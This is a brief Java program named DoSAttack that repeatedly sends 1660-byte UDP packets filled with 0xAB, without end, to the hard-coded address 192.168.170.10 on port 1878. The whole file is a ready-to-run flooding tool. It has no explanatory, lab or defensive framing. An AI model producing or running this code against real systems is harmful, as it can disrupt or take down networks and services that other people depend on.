
import java.net.*;
import java.util.Arrays;

public class DoSAttack {
    public static void main(String[] args) {
        try {
            byte[] payload = new byte[1660];
            Arrays.fill(payload, (byte) 0xAB);
            DatagramSocket socket = new DatagramSocket();
            InetAddress address = InetAddress.getByName("192.168.170.10");
            DatagramPacket packet = new DatagramPacket(payload, payload.length, address, 1878);
            while (true) {
                socket.send(packet);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
